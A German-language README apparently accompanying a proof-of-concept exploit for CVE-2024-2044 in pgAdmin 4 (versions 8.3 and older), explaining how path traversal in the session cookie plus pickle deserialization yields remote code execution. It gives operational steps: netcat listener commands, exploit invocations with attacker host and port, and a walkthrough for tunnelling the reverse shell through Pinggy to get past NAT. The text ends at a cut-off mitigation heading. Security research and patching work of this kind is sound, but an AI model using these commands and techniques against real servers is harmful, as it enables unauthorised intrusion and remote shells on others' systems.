
Python-PoC, das CVE-2024-2044 in pgAdmin 4 (<=8.3) über authentifizierten Path Traversal und unsichere Pickle-Deserialisierung ausnutzt, um Remote Code Execution und eine Reverse Shell zu erreichen.
Dieses Repository enthält ein Proof of Concept-Skript (PoC) für CVE-2024-2044, eine kritische Schwachstelle, die Authenticated Path Traversal und Unsafe Deserialization in pgAdmin 4 (Version 8.3 und älter) in Linux/POSIX-Umgebungen kombiniert.
[!WARNING] DISCLAIMER: Dieser Code wurde ausschließlich zu Bildungszwecken, für Sicherheitsforschung und autorisierte Penetrationstests (authorized pentesting) erstellt. Die missbräuchliche Verwendung dieses Codes zum Angriff auf Ziele ohne schriftliche Genehmigung ist illegal und strafbar.
Bei pgAdmin 4 im Servermodus unter Linux wird die Sitzungsverwaltung in Form lokaler Dateien gespeichert. Die Schwachstelle entsteht, weil die Funktion FileBackedSessionManager.get() den Wert des HTTP-Cookies pga4_session entgegennimmt und ihn mittels os.path.join an den Verzeichnispfad anhängt, ohne Zeichen zur Pfadmanipulation (../) zu bereinigen.
Das PoC-Skript nutzt diese Lücke mit folgendem Ablauf aus:
pickle-Objekt hochzuladen, das einen Reverse Shell-Befehl enthält. Diese Datei wird im Benutzer-Speicherverzeichnis abgelegt (z. B.: /storage/benutzername/)./login zurück und manipuliert dabei das Cookie pga4_session zu einem relativen Pfad, der auf die hochgeladene pickle-Datei verweist (z. B.: ../storage/benutzername/datei.pickle!). Das Zeichen ! wird verwendet, um der Suche nach der Dateiendung der Sitzung in pgAdmin 4 zu entsprechen.pickle.loads() zu verarbeiten. Infolgedessen führt die Payload einen separaten (detached) Python-Prozess aus, der einen Reverse Shell zum Angreifer aufbaut.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Wenn sich Ihr Rechner hinter einem NAT/Router befindet und ein öffentliches Tunnelling benötigt, können Sie den Dienst Pinggy.io mit folgenden Schritten verwenden:
Starten Sie zunächst nc auf dem lokalen Rechner mit einem Port Ihrer Wahl (z. B.: Port 1337):
nc -lvnp 1337
Öffnen Sie ein neues Terminal und führen Sie den Pinggy-SSH-Befehl aus. Stellen Sie sicher, dass der lokale Port am Ende (1337) mit dem zuvor gestarteten nc-Port übereinstimmt:
ssh -p 443 -R0:localhost:1337 [email protected]
Nach der Verbindung gibt Pinggy eine öffentliche TCP-URL aus, zum Beispiel:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Hinweis: Der von Pinggy erhaltene öffentliche Port ist 43143 (dieser wird später zum -lport).
Der Ziel-pgAdmin 4-Server benötigt das Format einer echten IP-Adresse für die Reverse-Shell-Socket-Verbindung. Führen Sie ein nslookup auf die Domain Ihrer Pinggy-URL aus:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
Die Ausgabe zeigt die öffentliche IP des Pinggy-Servers an (wählen Sie die IPv4 im obersten Address-Abschnitt):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
Aus der obigen Ausgabe ergibt sich die echte Pinggy-IP: 172.236.148.125.

Führen Sie das PoC-Skript aus, indem Sie die IP aus dem nslookup-Ergebnis als -lhost und den öffentlichen Pinggy-Port als -lport angeben:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : Ziel-URL von pgAdmin 4 (Erforderlich).-u, --username: Login-E-Mail/Benutzername (Standard: [email protected]).-p, --password: Login-Passwort (Standard: player123).-lhost : IP-Adresse des Angreifers / IP aus dem Pinggy-nslookup-Ergebnis (Erforderlich).-lport : Listener-Port des Angreifers / Öffentlicher Pinggy-Port (Erforderlich).Diese Schwachstelle wurde in pgAdmin 4 Version 8.4 behoben. Wenn Sie einen anfälligen Server verwalten, ergreifen Sie umgehend folgende Maßnahmen: